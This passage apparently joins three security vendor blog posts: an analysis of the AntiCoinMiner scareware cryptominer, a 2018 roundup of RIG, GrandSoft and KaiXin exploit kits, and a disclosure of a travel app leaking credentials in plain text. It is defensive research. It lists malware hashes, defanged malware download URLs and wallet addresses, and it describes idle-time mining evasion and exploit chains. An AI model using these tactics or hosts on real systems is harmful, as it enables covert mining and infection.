    After it is done downloading the backdoor configuration and calculating time, it will start timers for various activities:

    Figure 13. Timers for running and stopping the mining process


    When conditions are met for running the miner—for example, when the system is idle and no video or audio is playing—it will run the miner using runProcesses.exe. This will also ensure that the end user will not notice any obvious system slow downs from miner operation.

    Figure 14. Run miner processes using runProcesses.exe

    It also starts a timer with callback to kill the process after timeout.



    This will try to detect CPU and graphics to run miner with optimal settings and, in case no configuration is downloaded from C&C, it also includes hardcoded wallet addresses for mining.

    Figure 15. Hardcoded addresses used if configuration is not received from server



    There is a rising trend of new cryptominer malware families as well as existing malware families adding cryptominnig support as highlighted in our previous writeup here. AntiCoinMiner malware operator is leveraging the tried and tested scareware tactics theme very similar to FakeAV malware families, where it gives a false sense of security to the end user while exploiting their machine for financial gains. The malware operator is using an off-the-shelf cryptominer malware for this campaign; however the original cryptominer malware author has a backdoor functionality embedded in the code which deceives the second level malware operator by stealing large portion of CPU cycles from the infected machines to mine coins for the original author.

    Zscaler ThreatLabZ is actively monitoring for threats like these and will continue to ensure coverage for Zscaler customers.




    927adcebfa52b3551bdd008b42033a6e d3fa184981b21e46f81da37f7c2cf41e c777e949686f49cc0a03d0d374c5e68a Ecd13814885f698d58b41511791339b6 642cccf03f9493b3d91d84e1b0e55e9c Da8d0c73863afe801bb8937c4445f5f9 D3fa184981b21e46f81da37f7c2cf41e E6569c2c9bceb6a5331d39a897e99152 06ded4e24118a4baccfd2f93fffe3506 927adcebfa52b3551bdd008b42033a6e f8df9d2adf5b92dc4dd419098d444bde B0cec3e582a03c978eaff9a8d01f3c31 D204728ac2e98ac380953deb72d3ca57 c842a49268b52892268e3ff03205b2de 95ea8c948a5254a3b24cbbf3edec1a1a


    www.xmrminingpro[.]com/start_me_now.exe xmrminingpro[.]com/cr_blocker_v12.exe coin-blocker[.]com/Coin_Blocker_v1.55.exe xmrminingpro[.]com/Apollo.exe coin-blocker[.]com/Coin_Blocker_v1.5.exe coin-blocker[.]com/old/apollo_stream.exe coin-blocker[.]com/apollo/apollo_x86.exe

    Wallet Addresses:

    From Samples:

    4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsjqdY9cck94oTET4i 48LYTsUuFis3eheaGJSVC1b4DiftHw8249KCELDPGLU7Ke7GddfV7vM8qmuoW3x3qy8hPXiEknM2jixquq4qbHYHHmWut4J 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQrzvo2Dv3ebJHC95XG 4BEqL8aYcuydaT26Rm9BBDgx5MAPeMSeJGgMd8RJDQKaPZEVySfAaTU8bVMsp2uykJZJ1aJDtyLRHREUBe1XXjfUAty7XJy 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQrzvo2Dv3ebJHC95XG 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQmRkHZngZS7So7FipR

    Author's wallet addresses:

    Hardcoded in sample: 472dyZhom95Higc85N5E1LbiY3kgbQvapcZ1DosRfjKX4EAvK3ZrdvuLxLMe4vTFbEUAhECZoDZHyGMdFJktrZZyNA3v1Wr Received from c&c: 48LYTsUuFis3eheaGJSVC1b4DiftHw8249KCELDPGLU7Ke7GddfV7vM8qmuoW3x3qy8hPXiEknM2jixquq4qbHYHHmWut4J Mentioned for Donation: 48YAdSiCmzSPXxbrqjhnkVNLfFwcX6uJvV6wVGxNdDZ1Fww43c6zdjo1HePWZY6KXp78q8kv5rcqFYM76uSpPv8u4E2pnuq

    Thu, 08/16/2018 - 09:46 Malware Blogs
    Exploit kits go cryptomining – Summer 2018 edition


    This is the ninth edition of our Quarterly Exploit Kit activity roundup series, in which we share our analysis of recent exploit kit activity. Exploit kits (EKs) are rapidly deployable software packages designed to leverage vulnerabilities in web browsers and deliver a malicious payload to a victim’s computer. Authors of EKs offer their services for a fee, distributing malware for other malicious actors. Though it's been declining, there is still plenty of EK activity, and EK operators continue to adopt new techniques for monetizing infected machines.

    Due to the increase in popularity and value of cryptocurrency, we are seeing EK operators shifting their focus from ransomware to cryptominers, with the end payload generating revenue in multiple instances. All the exploit kits mentioned in this roundup were seen infecting users with cryptominer malware. We have also seen an increased use of malvertising campaigns to direct users to exploit kits. What follows are highlights from the EK activity we observed during the last quarter.

    RIG Exploit Kit

    RIG EK has been active for some time now. Though there are many other EKs that enter and exit the threat landscape, RIG has been persistently on the scene and adopting changes over time. Recent changes were the inclusion of CVE-2018-8174 and the use of cryptominer payloads to monetize infected resources. The hits that we saw were mainly from malvertising campaigns running on pirated movie streaming or adult websites.

    The RIG EK activity hits are shown below.

    Figure 1: RIG EK hits from May 1, 2018, to August 5, 2018

    The geographical distribution of the hits can be seen below.

    Figure 2: RIG EK hits geo distribution

    RIG EK redirects were mainly seen from malvertising campaigns. The hits were not restricted to any specific geographical location. A recent RIG EK cycle can be seen below.

    Figure 3: RIG EK Fiddler capture

    The malvertising page redirect can be seen below.

    Figure 4: Malvertising redirect

    This loads an obfuscated JavaScript, shown below.

    Figure 5: Malvertising redirect obfuscated (popunder)

    The deobfuscated script is shown below.

    Figure 6: Malvertising redirect deobfuscated (popunder)

    This redirect loads a fingerprinting page that contains two parts: one part is JavaScript, which collects browser information, and the other part is obfuscated JavaScript, responsible for relaying the information to the RIG EK landing page server. A snippet of the fingerprinting script is shown below.

    Figure 7: Browser fingerprinting

    A snippet of the obfuscated JavaScript responsible for relaying information is shown below.

    Figure 8: Obfuscated JavaScript redirect on the fingerprinting page

    The deobfuscated code for this redirect is shown below.

    Figure 9: Deobfuscated redirect on fingerprinting page

    The landing page contains exploit code for VBScript memory corruption vulnerability CVE-2018-8174 and CVE-2016-0189. There are three scripts on the landing page. The first exploits the recent CVE-2018-8174 vulnerability, the second exploits CVE-2016-0189, and the third is a Flash-based exploit. We can see the CVE-2018-8174 below.

    Figure 10: CVE-2018-8174 on the RIG EK landing page

    By deobfuscating the code, we can see the VBScript exploit code, which is the same as the PoC for CVE-2018-8174 released on GitHub with minor modifications to weaponize the PoC.

    Figure 11: CVE-2018-8174 code comparison

    The snippet below shows the part of the landing page exploiting CVE-2016-0189.

    Figure 12: CVE-2016-0189 exploit code on RIG EK landing page

    The third script targeting the Flash exploit is shown below.

    Figure 13: RIG EK landing page Flash exploit call

    When we deobfuscate the script, we can observe calls to Flash file download, as shown below.

    Figure 13: RIG EK landing page Flash exploit call

    The payload seen for this cycle was a trojan. We also saw cryptominers and GandCrab ransomware payloads being downloaded by RIG EK this quarter.

    GrandSoft Exploit Kit

    GrandSoft is an exploit kit that resurfaced earlier this year, when it was found serving GandCrab ransomware. We have also seen instances of cryptomining payloads being served by the GrandSoft EK in the past quarter.

    The GrandSoft EK activity hits are shown below.

    Figure 15: GrandSoft EK hits from May 1, 2018, to August 5, 2018

    The geographical distribution of the hits can be seen below.

    Figure 16: GrandSoft EK heat map

    GrandSoft EK redirects were mainly seen from malvertising campaigns. We often see threat actors utilizing the same resources to trigger different attack chains depending on the user session information. One such instance can be seen below, where “freedatingvideo[.]info” was redirecting users to RIG EK or GrandSoft EK gates or a web-based cryptomining site as part of the same malvertising campaign.

    Figure 17: GrandSoft EK cycle

    GrandSoft EK authors have also added CVE-2018-8174 VBScript memory corruption vulnerability exploit to the landing page. Below is a snippet from the landing page using the CVE-2018-8174 exploit.

    Figure 18: CVE-2018-8174 exploit code on the GrandSoft EK landing page

    The payload seen with this cycle was GandCrab ransomware.


    KaiXin Exploit Kit

    The KaiXin EK was active in the last quarter of 2017, and we have not observed many hits for KaiXin EK since then. But recently, we were able to capture an instance of KaiXin EK in the wild. A recent addition to this EK is the use of the CVE-2018-8174 exploit derived from a PoC published on GitHub. The Fiddler capture for the KaiXin exploit kit cycle is shown below.

    Figure 19: KaiXin exploit kit Fiddler capture

    The landing page consists of two JavaScripts: one loads the calls to the exploit webpage and the other is a redirect to a fingerprinting site, which relays the victim’s system information back to the server. We can see that the attacker is using car brands as variable names on the landing page, consistent with behavior seen in the past.

    Figure 20: KaiXin exploit kit landing page

    The landing page loads a plugin to detect JavaScript “jquery.js’.” A snippet of this code can be seen below.

    Figure 21: KaiXin EK jquery

    The LeNnDv.html file downloaded contains the CVE-2018-8174 exploit code derived from the PoC shared on GitHub. A snippet of this code is shown below.

    Figure 22: CVE-2018-8174 in KaiXin exploit kit

    The page is heavily obfuscated with the call to the payload download shown below.

    Figure 23: Obfuscated JavaScript for payload download

    Figure 24: First layer JavaScript deobfuscation

    Figure 25: Second layer JavaScript deobfuscation

    During deobfuscation, we see that the VBScript loaded is similar to the PoC available on GitHub, and KaiXin has adopted it, as did the GrandSoft EK and RIG EK.

    Figure 26: CVE-2018-8174 in KaiXin exploit kit

    The payload seen for this cycle was a Trojan  (MD5:e28d993fd4ae1fb71d645159f726f570).


    Other exploit Kits

    Terror EK, which was active at the end of 2017, has shown reduced activity since the start of 2018 and we have not seen any activity for Terror EK this quarter. Magnitude EK, though active, is operating in a very restricted geographic region being served through malvertising campaigns. We have not seen direct hits for Magnitude EK landing pages or gates this quarter, but we continue seeing hits for the malvertisements that were directing users to the Magnitude EK gates.



    Exploit kits are effective for infecting victim machines without users’ knowledge. While the trend has been to infect users with ransomware with the expectation that a few users would pay to get access to their data, the trend has shifted to the use of cryptominers and Trojans to steal users’ data and use their system resources to mine cryptocurrency for the attackers. Attackers frequently change their techniques by obfuscating the source code or injecting new exploit code into their EKs, and security researchers analyze and block the new threats by tracking changes in EK behavior.

    To help avoid infections from exploit kits, users should always block untrusted third-party scripts and resources, and avoid clicking on suspicious advertisements. Keeping browser plugins and web browsers up to date with latest patches helps to protect against common vulnerabilities targeted by exploit kits. The Zscaler ThreatLabZ research team has confirmed coverage for these exploit kits and subsequent payloads, ensuring protection for organizations using the Zscaler Cloud Security Platform.


    Tue, 08/07/2018 - 14:42 Exploit Kit Blogs
    Mobile App Wall Of Shame: Trip38

    Compared to Android users, iOS users tend to feel fairly safe from lurking threats. But, occasionally, that sense of security is tested. Zscaler ThreatLabZ recently came across an app that had a significant flaw, causing it to leak the personal information of iOS users. The details of the app are as follows:

    Name: Trip38 Travel Assistant - Free Platform: iOS Seller: Trip38 Technologies Private Limited Size: 25.7 MB Category: Travel Compatibility: Requires iOS 8.0 or later. Compatible with iPhone, iPad, and iPod touch. Languages: English, Simplified Chinese, Spanish Price: Free


    Fig 1: Trip38 app on App Store

    Trip38 is a travel assistant app that allows users to plan and track their travel. It stores travel details, including flight times, origination and destination city/country, and accommodation information, such as hotel name, booking dates, etc. We discovered that this app was communicating with its server in an insecure manner. 

    The app contacted its server via API calls, and all details passed to the server were being sent in plain text, with plain-text responses from the server. Communicating in plain text makes it easy to carry out Man-In-The-Middle (MITM) and other attacks. Login credentials may be intercepted and private information, including the user's location and travel plans, may be exposed. This vulnerability is worse when you consider that the app is likely to be used by travelers at hotels, coffee shops, airport terminals, and similar locations that offer free Wi-Fi services, where the chances of eavesdropping are high.  Let's look at the app's functions and the data being leaked. 

    As soon as a user installs and uses the app for the first time, it asks for the user's location. It was strange to see a second pop-up asking "Allow" for location access even when the app is not in use. The screenshot below shows both pop-ups: 

    Fig 2: Location access


    The user may allow or disallow this feature, but in the travel category, it's likely that users will allow location access to the app. After this, the user can either log in or register. Being a new user to the app, we tried registering. As shown in screenshot below, it asks for Name, Email, and Password. 

    Fig 3: Sign up process


    As soon as user signs up, all the information—name, email, password, and location details—is sent to the server in plain text as shown below: 

    Fig 4: Plain text username and password


    Upon successful response from server, the app performs an automatic user login request. Again, the details are sent to the server in plain text, except that during signup, the request is sent to userSignup.php with doSignup as the action, and during the login action, the request is sent to doUserLogin to userLogin.php.

    Fig 5: Username and password leakage during auto-login


    After auto-logging in the user, the app displays the following screen, where it asks to either add a trip or track a flight. 

    Fig 6: First screen after signup/login


    If a user is already registered, the app requests a trip list and, again, the trip request and response are in plain text. In the below screenshot, the trip list is empty because we did not add a past trip. For registered users, the server would respond with a complete list of previous and upcoming trips. 

    Fig 7: Fetching trip list in plain text

    We found that Trip38 is also available on Android, and that version has the same flaws as the iOS version. The requests and responses shown above were the same on Android with only one difference. In the case of iOS, requests contained flag_ios valued as 1; for Android requests, flag_android was set to 1. The screenshot below shows the Google Play page.

    Fig 8: Trip38 app on Google Play 


    According to OWASP Mobile Top 10, we can mark the Trip38 vulnerability as M3-Insecure Communication and M4-Insecure Authentication. 


    This is not first time ThreatLabZ has come across an app with flaws like those in Trip38. We blogged about a similar case where an iOS-based SMS app was leaking data. Due to the omnipresence nature of mobile devices and the millions of apps available for them, it has become critical to prevent data leakage at every step. App developers have a responsibility to use standard code security practices, and encryption is essential for keeping users' data intact and safe from prying eyes.  

    Note: We contacted the developer of Trip38 about this issue and, as of this writing, we have not heard from them. We have also notified Google and Apple.

    Fri, 07/20/2018 - 11:42 Mobile Blogs